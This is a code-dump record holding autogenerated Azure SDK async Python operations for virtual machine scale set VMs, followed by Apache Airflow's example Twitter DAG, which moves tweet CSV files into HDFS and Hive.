"""Starts a virtual machine in a VM scale set. :param resource_group_name: The name of the resource group. :type resource_group_name: str :param vm_scale_set_name: The name of the VM scale set. :type vm_scale_set_name: str :param instance_id: The instance ID of the virtual machine. :type instance_id: str :keyword callable cls: A custom type or function that will be passed the direct response :keyword str continuation_token: A continuation token to restart a poller from a saved state. :keyword polling: By default, your polling method will be AsyncARMPolling. Pass in False for this operation to not poll, or pass in your own initialized polling object for a personal polling strategy. :paramtype polling: bool or ~azure.core.polling.AsyncPollingMethod :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. :return: An instance of AsyncLROPoller that returns either OperationStatusResponse or the result of cls(response) :rtype: ~azure.core.polling.AsyncLROPoller[~azure.mgmt.compute.v2017_03_30.models.OperationStatusResponse] :raises: ~azure.core.exceptions.HttpResponseError """ polling = kwargs.pop('polling', True) # type: Union[bool, azure.core.polling.AsyncPollingMethod] cls = kwargs.pop('cls', None) # type: ClsType["_models.OperationStatusResponse"] lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) # type: Optional[str] if cont_token is None: raw_result = await self._start_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_start.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/start'} # type: ignore

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import functools from typing import Any, AsyncIterable, Callable, Dict, Generic, Optional, TypeVar, Union import warnings from azure.core.async_paging import AsyncItemPaged, AsyncList from azure.core.exceptions import ClientAuthenticationError, HttpResponseError, ResourceExistsError, ResourceNotFoundError, map_error from azure.core.pipeline import PipelineResponse from azure.core.pipeline.transport import AsyncHttpResponse from azure.core.polling import AsyncLROPoller, AsyncNoPolling, AsyncPollingMethod from azure.core.rest import HttpRequest from azure.core.tracing.decorator import distributed_trace from azure.core.tracing.decorator_async import distributed_trace_async from azure.mgmt.core.exceptions import ARMErrorFormat from azure.mgmt.core.polling.async_arm_polling import AsyncARMPolling from ... import models as _models from ..._vendor import _convert_request from ...operations._virtual_machine_scale_set_vms_operations import build_deallocate_request_initial, build_delete_request_initial, build_get_instance_view_request, build_get_request, build_list_request, build_power_off_request_initial, build_reimage_all_request_initial, build_reimage_request_initial, build_restart_request_initial, build_start_request_initial T = TypeVar('T') ClsType = Optional[Callable[[PipelineResponse[HttpRequest, AsyncHttpResponse], T, Dict[str, Any]], Any]] class VirtualMachineScaleSetVMsOperations: models = _models def __init__(self, client, config, serializer, deserializer) -> None: self._client = client self._serialize = serializer self._deserialize = deserializer self._config = config async def _reimage_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_reimage_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._reimage_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _reimage_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimage'} @distributed_trace_async async def begin_reimage( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._reimage_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_reimage.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimage'} async def _reimage_all_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_reimage_all_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._reimage_all_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _reimage_all_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimageall'} @distributed_trace_async async def begin_reimage_all( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._reimage_all_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_reimage_all.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/reimageall'} async def _deallocate_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_deallocate_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._deallocate_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _deallocate_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/deallocate'} @distributed_trace_async async def begin_deallocate( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._deallocate_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_deallocate.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/deallocate'} async def _delete_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_delete_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._delete_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202, 204]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _delete_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} @distributed_trace_async async def begin_delete( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._delete_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} @distributed_trace_async async def get( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> "_models.VirtualMachineScaleSetVM": cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_get_request( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self.get.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VirtualMachineScaleSetVM', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}'} @distributed_trace_async async def get_instance_view( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> "_models.VirtualMachineScaleSetVMInstanceView": cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_get_instance_view_request( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self.get_instance_view.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = self._deserialize('VirtualMachineScaleSetVMInstanceView', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized get_instance_view.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/instanceView'} @distributed_trace def list( self, resource_group_name: str, virtual_machine_scale_set_name: str, filter: Optional[str] = None, select: Optional[str] = None, expand: Optional[str] = None, **kwargs: Any ) -> AsyncIterable["_models.VirtualMachineScaleSetVMListResult"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) def prepare_request(next_link=None): if not next_link: request = build_list_request( resource_group_name=resource_group_name, virtual_machine_scale_set_name=virtual_machine_scale_set_name, subscription_id=self._config.subscription_id, filter=filter, select=select, expand=expand, template_url=self.list.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) else: request = build_list_request( resource_group_name=resource_group_name, virtual_machine_scale_set_name=virtual_machine_scale_set_name, subscription_id=self._config.subscription_id, filter=filter, select=select, expand=expand, template_url=next_link, ) request = _convert_request(request) request.url = self._client.format_url(request.url) request.method = "GET" return request async def extract_data(pipeline_response): deserialized = self._deserialize("VirtualMachineScaleSetVMListResult", pipeline_response) list_of_elem = deserialized.value if cls: list_of_elem = cls(list_of_elem) return deserialized.next_link or None, AsyncList(list_of_elem) async def get_next(next_link=None): request = prepare_request(next_link) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) return pipeline_response return AsyncItemPaged( get_next, extract_data ) list.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{virtualMachineScaleSetName}/virtualMachines'} async def _power_off_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_power_off_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._power_off_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _power_off_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/poweroff'} @distributed_trace_async async def begin_power_off( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._power_off_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_power_off.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/poweroff'} async def _restart_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_restart_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._restart_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _restart_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/restart'} @distributed_trace_async async def begin_restart( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._restart_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_restart.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/restart'} async def _start_initial( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> Optional["_models.OperationStatusResponse"]: cls = kwargs.pop('cls', None) error_map = { 401: ClientAuthenticationError, 404: ResourceNotFoundError, 409: ResourceExistsError } error_map.update(kwargs.pop('error_map', {})) request = build_start_request_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, subscription_id=self._config.subscription_id, template_url=self._start_initial.metadata['url'], ) request = _convert_request(request) request.url = self._client.format_url(request.url) pipeline_response = await self._client._pipeline.run(request, stream=False, **kwargs) response = pipeline_response.http_response if response.status_code not in [200, 202]: map_error(status_code=response.status_code, response=response, error_map=error_map) raise HttpResponseError(response=response, error_format=ARMErrorFormat) deserialized = None if response.status_code == 200: deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized _start_initial.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/start'} @distributed_trace_async async def begin_start( self, resource_group_name: str, vm_scale_set_name: str, instance_id: str, **kwargs: Any ) -> AsyncLROPoller["_models.OperationStatusResponse"]: polling = kwargs.pop('polling', True) cls = kwargs.pop('cls', None) lro_delay = kwargs.pop( 'polling_interval', self._config.polling_interval ) cont_token = kwargs.pop('continuation_token', None) if cont_token is None: raw_result = await self._start_initial( resource_group_name=resource_group_name, vm_scale_set_name=vm_scale_set_name, instance_id=instance_id, cls=lambda x,y,z: x, **kwargs ) kwargs.pop('error_map', None) def get_long_running_output(pipeline_response): response = pipeline_response.http_response deserialized = self._deserialize('OperationStatusResponse', pipeline_response) if cls: return cls(pipeline_response, deserialized, {}) return deserialized if polling is True: polling_method = AsyncARMPolling(lro_delay, lro_options={'final-state-via': 'azure-async-operation'}, **kwargs) elif polling is False: polling_method = AsyncNoPolling() else: polling_method = polling if cont_token: return AsyncLROPoller.from_continuation_token( polling_method=polling_method, continuation_token=cont_token, client=self._client, deserialization_callback=get_long_running_output ) else: return AsyncLROPoller(self._client, raw_result, get_long_running_output, polling_method) begin_start.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Compute/virtualMachineScaleSets/{vmScaleSetName}/virtualmachines/{instanceId}/start'}

true

f7050d4c1a884b3f7c432e8139d4cdcd936b354a

7,730

py

Python

airflow/contrib/example_dags/example_twitter_dag.py

suensummit/airflow

37a342d0e96a91ce2d34085e225a4e86f54c4e21

[ "Apache-2.0" ]

1

2021-11-04T20:11:58.000Z

airflow/contrib/example_dags/example_twitter_dag.py

suensummit/airflow

37a342d0e96a91ce2d34085e225a4e86f54c4e21

[ "Apache-2.0" ]

20

2017-04-18T19:47:46.000Z

2020-01-13T04:19:24.000Z

airflow/contrib/example_dags/example_twitter_dag.py

suensummit/airflow

37a342d0e96a91ce2d34085e225a4e86f54c4e21

[ "Apache-2.0" ]

2

2018-09-15T07:13:01.000Z

2021-03-26T07:27:38.000Z

# -*- coding: utf-8 -*- # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # -------------------------------------------------------------------------------- # Written By: Ekhtiar Syed # Last Update: 8th April 2016 # Caveat: This Dag will not run because of missing scripts. # The purpose of this is to give you a sample of a real world example DAG! # -------------------------------------------------------------------------------- # -------------------------------------------------------------------------------- # Load The Dependencies # -------------------------------------------------------------------------------- """ This is an example dag for managing twitter data. """ from datetime import date, timedelta import airflow from airflow import DAG from airflow.operators.bash_operator import BashOperator from airflow.operators.hive_operator import HiveOperator from airflow.operators.python_operator import PythonOperator # -------------------------------------------------------------------------------- # Create a few placeholder scripts. In practice these would be different python # script files, which are imported in this section with absolute or relative imports # -------------------------------------------------------------------------------- def fetchtweets(): """ This is a placeholder for fetchtweets. """ def cleantweets(): """ This is a placeholder for cleantweets. """ def analyzetweets(): """ This is a placeholder for analyzetweets. """ def transfertodb(): """ This is a placeholder for transfertodb. """ # -------------------------------------------------------------------------------- # set default arguments # -------------------------------------------------------------------------------- default_args = { 'owner': 'Ekhtiar', 'depends_on_past': False, 'start_date': airflow.utils.dates.days_ago(5), 'email': ['airflow@example.com'], 'email_on_failure': False, 'email_on_retry': False, 'retries': 1, 'retry_delay': timedelta(minutes=5), # 'queue': 'bash_queue', # 'pool': 'backfill', # 'priority_weight': 10, # 'end_date': datetime(2016, 1, 1), } with DAG( dag_id='example_twitter_dag', default_args=default_args, schedule_interval="@daily" ) as dag: # -------------------------------------------------------------------------------- # This task should call Twitter API and retrieve tweets from yesterday from and to # for the four twitter users (Twitter_A,..,Twitter_D) There should be eight csv # output files generated by this task and naming convention # is direction(from or to)_twitterHandle_date.csv # -------------------------------------------------------------------------------- fetch_tweets = PythonOperator( task_id='fetch_tweets', python_callable=fetchtweets ) # -------------------------------------------------------------------------------- # Clean the eight files. In this step you can get rid of or cherry pick columns # and different parts of the text # -------------------------------------------------------------------------------- clean_tweets = PythonOperator( task_id='clean_tweets', python_callable=cleantweets ) clean_tweets << fetch_tweets # -------------------------------------------------------------------------------- # In this section you can use a script to analyze the twitter data. Could simply # be a sentiment analysis through algorithms like bag of words or something more # complicated. You can also take a look at Web Services to do such tasks # -------------------------------------------------------------------------------- analyze_tweets = PythonOperator( task_id='analyze_tweets', python_callable=analyzetweets ) analyze_tweets << clean_tweets # -------------------------------------------------------------------------------- # Although this is the last task, we need to declare it before the next tasks as we # will use set_downstream This task will extract summary from Hive data and store # it to MySQL # -------------------------------------------------------------------------------- hive_to_mysql = PythonOperator( task_id='hive_to_mysql', python_callable=transfertodb ) # -------------------------------------------------------------------------------- # The following tasks are generated using for loop. The first task puts the eight # csv files to HDFS. The second task loads these files from HDFS to respected Hive # tables. These two for loops could be combined into one loop. However, in most cases, # you will be running different analysis on your incoming incoming and outgoing tweets, # and hence they are kept separated in this example. # -------------------------------------------------------------------------------- from_channels = ['fromTwitter_A', 'fromTwitter_B', 'fromTwitter_C', 'fromTwitter_D'] to_channels = ['toTwitter_A', 'toTwitter_B', 'toTwitter_C', 'toTwitter_D'] yesterday = date.today() - timedelta(days=1) dt = yesterday.strftime("%Y-%m-%d") # define where you want to store the tweets csv file in your local directory local_dir = "/tmp/" # define the location where you want to store in HDFS hdfs_dir = " /tmp/" for channel in to_channels: file_name = "to_" + channel + "_" + yesterday.strftime("%Y-%m-%d") + ".csv" load_to_hdfs = BashOperator( task_id="put_" + channel + "_to_hdfs", bash_command="HADOOP_USER_NAME=hdfs hadoop fs -put -f " + local_dir + file_name + hdfs_dir + channel + "/" ) load_to_hdfs << analyze_tweets load_to_hive = HiveOperator( task_id="load_" + channel + "_to_hive", hql="LOAD DATA INPATH '" + hdfs_dir + channel + "/" + file_name + "' " "INTO TABLE " + channel + " " "PARTITION(dt='" + dt + "')" ) load_to_hive << load_to_hdfs load_to_hive >> hive_to_mysql for channel in from_channels: file_name = "from_" + channel + "_" + yesterday.strftime("%Y-%m-%d") + ".csv" load_to_hdfs = BashOperator( task_id="put_" + channel + "_to_hdfs", bash_command="HADOOP_USER_NAME=hdfs hadoop fs -put -f " + local_dir + file_name + hdfs_dir + channel + "/" ) load_to_hdfs << analyze_tweets load_to_hive = HiveOperator( task_id="load_" + channel + "_to_hive", hql="LOAD DATA INPATH '" + hdfs_dir + channel + "/" + file_name + "' " "INTO TABLE " + channel + " " "PARTITION(dt='" + dt + "')" ) load_to_hive << load_to_hdfs load_to_hive >> hive_to_mysql

37.892157

91

0.527167

